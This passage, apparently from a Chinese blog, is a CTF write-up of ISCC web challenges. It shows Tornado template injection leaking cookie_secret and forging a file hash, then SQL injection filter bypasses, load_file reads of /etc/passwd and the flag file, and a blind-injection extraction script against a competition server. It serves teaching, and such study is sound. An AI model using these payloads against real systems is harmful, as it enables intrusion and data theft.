Payload: /file?filename=/fllllllllllllaaaaaag

在这里插入图片描述

需要计算filehash的值,即md5(cookie_secret+md5(filename))的值。filename已经知道了是/fllllllllllllaaaaaag,下面需要找到cookie_secret。

Tornado框架的附属文件handler.settings中存在cookie_secret,进行模板注入:

1
Payload:error?msg={{handler.settings}}

得到cookie_secret的值
在这里插入图片描述
直接使用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import hashlib

def md5value(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()

def jiami():
filename = '/fllllllllllllaaaaaag'
cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a"
print("md5(filename): "+md5value(filename.encode('utf-8')))
x=md5value(filename.encode('utf-8'))
y=cookie_secret+x
print("md5(cookie_secret+md5(filename)): "+md5value(y.encode('utf-8')))


jiami()


import hashlib

def md5value(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest()

def jiami():
filename = '/fllllllllllllaaaaaag'
cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a"
print(md5value(cookie_secret + md5value(filename)))

jiami()

得到

1
2
md5(filename): 9395bd4a7a7cae3ce1f6dc17aeb2d2b8
md5(cookie_secret+md5(filename)): 1ad9b8e09fbe539bc5a6f2c8bc0ab5db

最终payload为

1
/file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db

在这里插入图片描述

easyweb

简单的web
题目入口:http://39.96.91.106:5001/
Flag格式:iscc{XXX}

查看源码

1
<!--?id-->

测试一下,id=1,2,3页面均返回数据,其它返回error

万能密码?id=1' or 1=1#,返回die
在这里插入图片描述

测试了一下,使用?id=1'||1=1%23成功返回数据
在这里插入图片描述

fuzz一下,过滤了好多

1
select、 union、 or、 ord 、 from、information_schema、空格等

好多代替空格的都被过滤了,仅剩%0d没有过滤
select过滤了,使用seselectlect双写绕过

得到回显位

1
2
3
4
?id=0'%0dununionion%0dselselectect%0d1,2,3%23

#Your Login name:2
#Your Password:3

爆库名

1
2
3
4
?id=0'%0dununionion%0dselselectect%0d1,database(),version()%23

#Your Login name:iscc_web
#Your Password:5.7.33-0ubuntu0.16.04.1

发现当前数据库版本为5.7.33

接下来就是爆表名

from、information_schema都被过滤了,FROM大写绕过,关于绕过information_schema参考mysql注入绕过information_schema过滤

当前数据库版本为5.7,可用sys.schema_auto_increment_columns代替information_schema

1
2
3
4
Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFrom%0dsys.schema_auto_increment_columns),3%0d%23

#Your Login name:iscc_flag
#Your Password:3

猜测列名为flag,爆值

1
2
3
4
Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dFROM%0discc_flag),3%0d%23

#Your Login name:cccmd.php
#Your Password:3

访问cccmd.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php


if(isset($_GET['c'])){
$c=$_GET['c'];

if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){
exit("die!!");
}else{
echo `$c`;
}
}else{
highlight_file(__FILE__);
}
?>
<!--flllllllllaaag.php-->

显然flag在flllllllllaaag.php中,首先要知道当前路径,执行pwd,得到当前绝对路径:

1
2
/cccmd.php?c=pwd
#/var/www/const

load_file函数没有被过滤,尝试读取/etc/passwd

1
?id=0'%0duniunionon%0dselselectect%0d1,(load_file('/etc/passwd')),3%23

成功读取
在这里插入图片描述
路径知道了,接下来直接读取flllllllllaaag.php

1
2
3
?id=0'%0duniunionon%0dselselectect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%23

#F12查看源码得到<?php$flag="iscc{eeeeeasy_web!!666666}"

贴一下大师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

url = "http://39.96.91.106:5001/?id="

result = ""
i = 0

while (True):
i = i + 1
head = 32
tail = 127

while (head < tail):
mid = (head + tail) >> 1

payload = "0%27||if(ascii(substr((seselectlect%0dhex(load_file(0x2f7661722f7777772f636f6e73742f666c6c6c6c6c6c6c6c6c616161672e706870))),{},1))>{},1,0)%23".format(i,mid)
r = requests.get(url + payload)
r.encoding = "utf-8"
# print(url+payload)
if "Your Login name" in r.text:
head = mid + 1
else:
# print(r.text)
tail = mid

last = result

if head != 32:
result += chr(head)
else:
break
print(result)

得到

1
3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E

然后hex转字符串即可

1
2
3
4
5
m="3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E"
s=bytes.fromhex(m)
print(s)

#b'<?php\r\n$flag="iscc{eeeeeasy_web!!666666}";\r\n?>'

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!